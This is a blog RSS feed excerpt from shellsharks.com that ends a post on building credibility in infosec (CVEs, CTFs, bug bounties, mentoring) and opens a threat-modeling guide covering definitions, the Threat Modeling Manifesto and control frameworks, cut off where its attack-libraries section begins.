  &lt;li&gt;&lt;strong&gt;CVEs&lt;/strong&gt; - For the vulnerability researchers of the world, having &lt;a href=&quot;https://cve.mitre.org&quot;&gt;CVEs&lt;/a&gt; is an esteemed way to demonstrate your expertise. &lt;a href=&quot;https://www.cve.org/ResourcesSupport/ReportRequest#RequestCVEID&quot;&gt;Request a CVE ID here&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span id=&quot;ctf&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;CTFs&lt;/strong&gt; - There are countless &lt;a href=&quot;https://ctftime.org/ctf-wtf/&quot;&gt;CTFs&lt;/a&gt; these days. Participating, winning &amp;amp; doing write-ups (&lt;a href=&quot;https://ctftime.org/writeups&quot;&gt;CTF Time Writeups&lt;/a&gt;, &lt;a href=&quot;https://medium.com/ctf-writeups&quot;&gt;Medium CTF Writeups&lt;/a&gt;, &lt;a href=&quot;https://infosecwriteups.com/tagged/ctf&quot;&gt;InfoSec Writeups | CTF&lt;/a&gt;) are all ways to express your interest / involvement in the field as well as your technical prowess.
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://ctftime.org/event/list/&quot;&gt;CTF Time&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://trailofbits.github.io/ctf/intro/find.html&quot;&gt;CTFs | Trail of Bits&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.hackthebox.com&quot;&gt;Hack The Box&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.appsecvillage.com/ctf&quot;&gt;AppSec Village CTF&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://github.com/apsdehal/awesome-ctf&quot;&gt;Awesome CTF | Github&lt;/a&gt;
&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span id=&quot;bounty&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Bug Bounty&lt;/strong&gt; - Vulnerability disclosure programs (&lt;a href=&quot;https://www.bugcrowd.com/glossary/vulnerability-disclosure-program-vdp/&quot;&gt;VDPs&lt;/a&gt;) and bug bounty platforms are in abundance these days. Earning bounties is not only a way to make some money but it can also help you stand out in the community.
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://hackerone.com/bug-bounty-programs&quot;&gt;hackerone&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.bugcrowd.com/bug-bounty-list/&quot;&gt;bugcrowd&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://securitytxt.org&quot;&gt;Look for companies with a security.txt file&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;Alot of companies have their own bug bounty program: &lt;a href=&quot;https://www.microsoft.com/en-us/msrc/bounty&quot;&gt;Microsoft&lt;/a&gt;, &lt;a href=&quot;https://bounty.github.com&quot;&gt;GitHub&lt;/a&gt;, &lt;a href=&quot;https://developer.apple.com/security-bounty/&quot;&gt;Apple&lt;/a&gt;, etc…&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.hackerone.com/hack-the-pentagon&quot;&gt;Hack the Pentagon&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://bughunters.google.com/about/rules/6625378258649088/google-and-alphabet-vulnerability-reward-program-vrp-rules&quot;&gt;Google Bug Hunters&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.openbugbounty.org&quot;&gt;openbugbounty&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.zerodayinitiative.com&quot;&gt;Zero Day Initiative&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.zerodium.com/program.html&quot;&gt;Zerodium&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://pentester.land/list-of-bug-bounty-writeups.html&quot;&gt;Pentester Land Bug Bounty Writeups&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.synack.com/red-team/&quot;&gt;Synack Red Team&lt;/a&gt;
&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span id=&quot;mentor&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Mentor&lt;/strong&gt; - Helping others grow and succeed is always a noble pursuit and one that can not only yield great professional relationships, but also help set you apart as someone who gives back.
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://cybersecmentorship.org&quot;&gt;Cybersecurity Mentoring Hub&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://battleshipsecurity.com/become-mentor&quot;&gt;Become a Battleship Mentor&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://infosec.exchange/tags/CyberMentoringMonday&quot;&gt;#CyberMentoringMonday Mastodon Posts&lt;/a&gt;
&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span id=&quot;volunteer&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Volunteer&lt;/strong&gt; - There are many organizations for which you can volunteer within the cybersecurity industry.
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.bsidesnova.org/volunteers/&quot;&gt;BSides NOVA Volunteer&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://cp.tc&quot;&gt;Collegiate Penetration Testing Competition&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.appsecvillage.com/volunteer&quot;&gt;AppSec Village Volunteer&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://defcon.org/html/links/get-involved.html&quot;&gt;DEF CON Get Involved&lt;/a&gt;
&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span id=&quot;oss&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;OSS contribution&lt;/strong&gt; - A very tangible way of demonstrating programming skills and other domain knowledge is to contribute to open source software (OSS).
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://opensource.guide/how-to-contribute/&quot;&gt;How to Contribute to Open Source | Open Source Guides&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://github.com/freeCodeCamp/how-to-contribute-to-open-source&quot;&gt;How to Contribute to Open Source | freeCodeCamp&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://stackoverflow.blog/2020/08/03/getting-started-with-contributing-to-open-source/&quot;&gt;Getting Started w/ OSS | Stack Overflow&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://www.firsttimersonly.com&quot;&gt;Friendly Open Source Projects&lt;/a&gt;
&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span id=&quot;publish-tool&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Publish a tool&lt;/strong&gt; - The infosec community loves their tools and those that write and maintain these tools are held in particularly high regard.
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;https://porchetta.industries/faq&quot;&gt;Porchetta Industries&lt;/a&gt;
&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span id=&quot;prestige&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;High-profile / presitgious position&lt;/strong&gt; - Holding a high-profile position in the government (e.g. CIA, NSA, FBI) or public company (e.g. FAANG) can give a moderate boost to your professional cred.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It’s worth pointing out that &lt;em&gt;most&lt;/em&gt; of these methods are applicable to any profession, not just cybersecurity. Regardless of what you do, I urge you to approach all aspects of your professional climb with authenticity, novelty, approachability &amp;amp; humility.&lt;/p&gt;
</description>
        <pubDate>Thu, 25 Aug 2022 10:19:00 -0400</pubDate>
        <link>https://shellsharks.com/cyber-clout</link>
        <guid isPermaLink="true">https://shellsharks.com/cyber-clout</guid>
        
        <category>infosec</category>
        
        <category>blogging</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
        <category>list</category>
        
      </item>
    
      <item>
        <title>The Enchiridion of Impetus Exemplar</title>
        <shark:summary><p><em>A vade mecum for all things Threat Modeling.</em></p>
</shark:summary>
        <description>&lt;p&gt;&lt;em&gt;A vade mecum for all things Threat Modeling.&lt;/em&gt;&lt;/p&gt;

&lt;h1 id=&quot;jump-to-section&quot;&gt;Jump to Section&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;Intro to Threat Modeling&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#methodologies&quot;&gt;Methodologies&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#microsoft-threat-modeling&quot;&gt;Microsoft Threat Modeling&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#pasta&quot;&gt;PASTA&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#octave&quot;&gt;OCTAVE&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#trike&quot;&gt;Trike&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#linddun&quot;&gt;LINDDUN&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vast&quot;&gt;VAST&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#data-centric-system-threat-modeling-nist-sp-800-154&quot;&gt;NIST SP 800-154&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#owasp-threat-modeling-process&quot;&gt;OWASP TMP&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#tara&quot;&gt;TARA&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#iddilatc&quot;&gt;IDDIL/ATC&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#hybrid-threat-modeling-method-htmm&quot;&gt;hTMM&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#quantitative-threat-modeling-qtmm&quot;&gt;QTMM&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#id3&quot;&gt;ID&lt;sup&gt;3&lt;/sup&gt;&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#other-methodologies&quot;&gt;Other Methodologies&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#future-methodologies&quot;&gt;Future Methodologies&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Auxiliary Tools
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#control-frameworks&quot;&gt;Control Frameworks&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#attack-libraries&quot;&gt;Attack Libraries&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#vulnerability-catalogs&quot;&gt;Vulnerability Catalogs&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#risk-assessment-models&quot;&gt;Risk Assessment Models&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#dread&quot;&gt;DREAD&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#compliance-frameworks&quot;&gt;Compliance Frameworks&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#cyber-threat-intelligence-cti&quot;&gt;Cyber Threat Intelligence&lt;/a&gt; (CTI)&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#attack-trees&quot;&gt;Attack Trees&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#security-cards&quot;&gt;Security Cards&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#persona-non-grata-png&quot;&gt;Persona non Grata&lt;/a&gt; (PnG)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#modeling-exercise&quot;&gt;Modeling Exercise(s)&lt;/a&gt; &lt;em&gt;coming eventually!&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#conclusion&quot;&gt;Conclusion&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#appendices&quot;&gt;Appendices&lt;/a&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#data-flow-diagram&quot;&gt;Data Flow Diagram&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#threat-modeling-methodology-matrix-tm3&quot;&gt;Threat Modeling Methodology Matrix&lt;/a&gt; &lt;em&gt;coming eventually!&lt;/em&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#tooling&quot;&gt;Tooling&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#terminology&quot;&gt;Terminology&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#references&quot;&gt;References&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;intro-to-threat-modeling&quot;&gt;Intro to Threat Modeling&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Threat Modeling&lt;/strong&gt; can be defined as &lt;em&gt;the process of building and analyzing representations of a system to highlight concerns about security characteristics.&lt;/em&gt; &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Threat Modeling is a &lt;em&gt;pro-active&lt;/em&gt; and &lt;em&gt;iterative&lt;/em&gt; approach for identifying security issues and reducing risk. The output of a threat modeling exercise is a list of &lt;strong&gt;threats&lt;/strong&gt; - &lt;em&gt;or even better&lt;/em&gt; -  &lt;strong&gt;risks&lt;/strong&gt;, that further inform decisions in the progressive lifecycle of a system. This process can be performed prior to any code written or infrastructure deployed. This makes it very efficient in identifying potential threats, &lt;strong&gt;vulnerabilities&lt;/strong&gt; and risks.&lt;/p&gt;

&lt;h2 id=&quot;simplified-threat-modeling&quot;&gt;Simplified Threat Modeling&lt;/h2&gt;

&lt;p&gt;There is a &lt;a href=&quot;#methodologies&quot;&gt;multitude&lt;/a&gt; of &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt; methodologies, each of which have both individual uniqueness as well as mutual commonalities (&lt;strong&gt;&lt;a href=&quot;#threat-modeling-methodology-matrix-tm3&quot;&gt;Comparison Matrix&lt;/a&gt;&lt;/strong&gt;). Fundamentally, each of these frameworks share the following &lt;strong&gt;two&lt;/strong&gt; properties.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Document Scope&lt;/strong&gt; : Scope the to-be-modeled system by inventorying the component architecture and diagramming the composite entities + the &lt;strong&gt;data flows&lt;/strong&gt; that connect them. This should yield a list of identifiable &lt;strong&gt;assets&lt;/strong&gt; &amp;amp; components, commonly visualized as a &lt;strong&gt;&lt;a href=&quot;#data-flow-diagram&quot;&gt;data flow diagram&lt;/a&gt;&lt;/strong&gt; (&lt;strong&gt;DFD&lt;/strong&gt;).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Enumerate Threats&lt;/strong&gt; : Leveraging what we know about the system (i.e. list of technology components, applicable &lt;strong&gt;&lt;a href=&quot;#control-frameworks&quot;&gt;security controls&lt;/a&gt;&lt;/strong&gt;, &lt;a href=&quot;#cyber-threat-intelligence-cti&quot;&gt;knowledge of threat actors&lt;/a&gt;, potential &lt;a href=&quot;#vulnerability-catalogs&quot;&gt;vulnerabilities&lt;/a&gt;), generate a list of &lt;em&gt;potential&lt;/em&gt; threats.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;the-threat-modeling-manifesto&quot;&gt;The Threat Modeling Manifesto&lt;/h3&gt;

&lt;p&gt;The &lt;a href=&quot;#simplified-threat-modeling&quot;&gt;steps above&lt;/a&gt; represent an extreme distillation of the &lt;a href=&quot;#methodologies&quot;&gt;variety&lt;/a&gt; of threat modeling methodologies that exist today. The esteemed &lt;strong&gt;&lt;a href=&quot;https://www.threatmodelingmanifesto.org&quot;&gt;Threat Modeling Manifesto&lt;/a&gt;&lt;/strong&gt; provides another example of a &lt;em&gt;generic&lt;/em&gt; &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt; process. This manifesto was created by a collective of threat modeling, security and privacy &lt;a href=&quot;https://www.threatmodelingmanifesto.org#authors&quot;&gt;professionals&lt;/a&gt;. The steps they espouse are enumerated below. &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;em&gt;What are we working on&lt;/em&gt;?&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;What can go wrong&lt;/em&gt;?&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;What are we going to do about it&lt;/em&gt;?&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;Did we do a good enough job&lt;/em&gt;?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;What’s peculiar about the &lt;em&gt;Threat Modeling Manifesto&lt;/em&gt; is the delta between their definition of threat modeling and the stated “&lt;em&gt;four key questions&lt;/em&gt;” of threat modeling. To explain, they define threat modeling as…&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“&lt;em&gt;Threat modeling is analyzing representations of a system to highlight concerns about security and privacy characteristics.&lt;/em&gt;”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Whereas within their 4-step question set they &lt;em&gt;also&lt;/em&gt; include the act of developing risk treatments (&lt;em&gt;“What are we going to do about it”&lt;/em&gt;), as well as following up on the efficacy of those applied countermeasures (&lt;em&gt;“Did we do a good enough job”&lt;/em&gt;). My point being, that they are a little inconsistent between how they &lt;em&gt;define&lt;/em&gt; threat modeling and the &lt;em&gt;steps taken&lt;/em&gt; to perform a threat model. &lt;em&gt;Maybe I’m just being a bit nit-picky though&lt;/em&gt;…&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;*&lt;/strong&gt; In the past, I always considered “&lt;a href=&quot;#simplified-threat-modeling&quot;&gt;Threat Modeling&lt;/a&gt;” in the &lt;em&gt;purest sense&lt;/em&gt; to be limited to just questions &lt;em&gt;1&lt;/em&gt; &amp;amp; &lt;em&gt;2&lt;/em&gt; from the Manifesto, or strictly, just the acts of documenting the system (inventorying components + &lt;em&gt;DFD&lt;/em&gt;) and generating the threats. Now however, I realize that the prescription of security controls and subsequent re-factoring of threat risks is as applicable in the context of threat modeling as anything else. &lt;strong&gt;&lt;sup&gt;&lt;a href=&quot;#references&quot;&gt;26&lt;/a&gt;&lt;/sup&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;benefits-and-characteristics-of-threat-modeling&quot;&gt;Benefits and Characteristics of Threat Modeling&lt;/h2&gt;
&lt;p&gt;Rather than me regurgitate a bunch of benefits of &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt;, instead peruse this great &lt;a href=&quot;https://www.synopsys.com/company.html&quot;&gt;Synopsys&lt;/a&gt; compilation of &lt;a href=&quot;https://www.synopsys.com/glossary/what-is-threat-modeling.html&quot;&gt;threat modeling advantages&lt;/a&gt;. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;ul&gt;
    &lt;li&gt;Detect problems early in the software development life cycle (&lt;a href=&quot;https://www.synopsys.com/blogs/software-security/secure-sdlc/&quot;&gt;SDLC&lt;/a&gt;)—even before coding begins.&lt;/li&gt;
    &lt;li&gt;Spot design flaws that traditional testing methods and code reviews may overlook.&lt;/li&gt;
    &lt;li&gt;Evaluate new forms of attack that you might not otherwise consider.&lt;/li&gt;
    &lt;li&gt;Maximize testing budgets by helping target testing and code review.&lt;/li&gt;
    &lt;li&gt;Identify security requirements.&lt;/li&gt;
    &lt;li&gt;Remediate problems before software release and prevent costly recoding post-deployment.&lt;/li&gt;
    &lt;li&gt;Think about threats beyond standard attacks and identify security issues unique to your application.&lt;/li&gt;
    &lt;li&gt;Keep frameworks ahead of the internal and external attackers relevant to your applications.&lt;/li&gt;
    &lt;li&gt;Highlight assets, threat agents, and &lt;a href=&quot;#control-frameworks&quot;&gt;controls&lt;/a&gt; to deduce components that attackers will target.&lt;/li&gt;
    &lt;li&gt;Model the location of threat agents, motivations, skills, and capabilities to locate potential attackers in relation to the system architecture.&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;So what makes a threat modeling methodology a good one? Consider now the following list of desirable traits and considerations. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;25&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;No (&lt;em&gt;or low&lt;/em&gt;) false positives&lt;/li&gt;
  &lt;li&gt;No threat blind spots&lt;/li&gt;
  &lt;li&gt;Consistency, regardless of who performs the threat modeling exercise&lt;/li&gt;
  &lt;li&gt;Cost, time and resource-effective&lt;/li&gt;
  &lt;li&gt;Has &lt;a href=&quot;#tooling&quot;&gt;tool&lt;/a&gt; support which helps scale and automate the various threat modeling activities&lt;/li&gt;
  &lt;li&gt;Suggests a process for &lt;a href=&quot;#risk-assessment-models&quot;&gt;prioritizing&lt;/a&gt; findings&lt;/li&gt;
  &lt;li&gt;Is easy / intutitive to learn and use, regardless of technical background&lt;/li&gt;
  &lt;li&gt;Has superior characteristics for specific types of systems and situations&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;methodologies&quot;&gt;Methodologies&lt;/h1&gt;

&lt;p&gt;This section will detail several (&lt;strong&gt;13&lt;/strong&gt;) well-known (&lt;em&gt;and not so well-known&lt;/em&gt;) &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt; methodologies. They are presented in no real particular order, though I will say that the first half of the list &lt;em&gt;does&lt;/em&gt; contain a higher concentration of the more popular models. &lt;em&gt;There are also methodologies I plan to cover &lt;a href=&quot;#future-methodologies&quot;&gt;in the future&lt;/a&gt; and &lt;a href=&quot;#other-methodologies&quot;&gt;others&lt;/a&gt; I have evaluated, but only briefly cover (for one reason or another).&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#microsoft-threat-modeling&quot;&gt;Microsoft Threat Modeling&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#pasta&quot;&gt;PASTA&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#octave&quot;&gt;OCTAVE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#trike&quot;&gt;Trike&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#linddun&quot;&gt;LINDDUN&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#vast&quot;&gt;VAST&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#data-centric-system-threat-modeling-nist-sp-800-154&quot;&gt;NIST SP 800-154&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#owasp-threat-modeling-process&quot;&gt;OWASP TMP&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#tara&quot;&gt;TARA&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#iddilatc&quot;&gt;IDDIL/ATC&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#hybrid-threat-modeling-method-htmm&quot;&gt;hTMM&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#quantitative-threat-modeling-qtmm&quot;&gt;QTMM&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#id3&quot;&gt;ID&lt;sup&gt;3&lt;/sup&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#other-methodologies&quot;&gt;Other Methodologies&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr width=&quot;45%&quot; /&gt;

&lt;p&gt;Before we dive into the various methodologies though, let’s cover a few commonly encountered supporting resources that these threat modeling methodologies generally rely on.&lt;/p&gt;

&lt;h3 id=&quot;control-frameworks&quot;&gt;Control Frameworks&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Control Frameworks&lt;/strong&gt; provide security / privacy controls, requirements, countermeasures, best practices, standards, risk treatments and other recommendations for strengthening the security posture of a system.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-application-security-verification-standard/&quot;&gt;ASVS | OWASP&lt;/a&gt;: A framework of security requirements / controls that can be employed when designing web applications.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://controlcatalog.trustoncloud.com/&quot;&gt;ControlCatalog&lt;/a&gt;: &lt;a href=&quot;https://trustoncloud.com/introducing-controlcatalog-improving-the-user-experience-from-our-160-pages-threatmodel-on-amazon-s3-to-a-reactive-ui/&quot;&gt;TrustOnCloud’s&lt;/a&gt; controls library, the companion to their &lt;a href=&quot;https://github.com/trustoncloud/threatmodel-for-aws-s3&quot;&gt;attack scenario library&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://controlsframework.equifax.com/home&quot;&gt;Controls Framework | Equifax&lt;/a&gt;: Yes, even Equifax has a publicly published controls framework!&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final&quot;&gt;CSF | NIST&lt;/a&gt;: A set of best practices, standards and recommendations used to improve cybersecurity in an organization.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://d3fend.mitre.org&quot;&gt;D3FEND | MITRE&lt;/a&gt;: A knowledge graph of cybersecurity countermeasures.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.linddun.org/mitigation-strategies-and-solutions&quot;&gt;LINDDUN Mitigation strategies and solutions&lt;/a&gt;: High-level view of common techniques used in-practice to prevent privacy threats.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.security4startups.com/controls-checklist/&quot;&gt;Security4Startups&lt;/a&gt;: Checklist of the security controls you should consider implementing in a startup.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04232020.pdf&quot;&gt;SSDF | NIST&lt;/a&gt;: A framework developed by &lt;a href=&quot;https://www.nist.gov&quot;&gt;NIST&lt;/a&gt; to facilitate the mitigation of risk in the &lt;a href=&quot;https://www.bsimm.com/framework/software-security-development-lifecycle.html&quot;&gt;SSDL&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final&quot;&gt;SP 800-53 (Rev. 5) | NIST&lt;/a&gt;: Organization-wide security and privacy controls (not specific to applications).&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-mitigations&quot;&gt;Web Application Security Frame | Microsoft&lt;/a&gt;: A &lt;a href=&quot;https://patents.google.com/patent/US7818788&quot;&gt;web application security frame&lt;/a&gt; is used to converge knowledge into an activity by identifying categories, &lt;a href=&quot;#vulnerability-catalogs&quot;&gt;vulnerabilities&lt;/a&gt;, threats, &lt;a href=&quot;#attack-libraries&quot;&gt;attacks&lt;/a&gt; and countermeasures.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;attack-libraries&quot;&gt;Attack Libraries&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Attack Libraries&lt;/strong&gt; provide lists of of attack patterns, risks, exploits and techniques which can be used to compromise a system or its assets.&lt;/p&gt;

&lt;ul&gt;
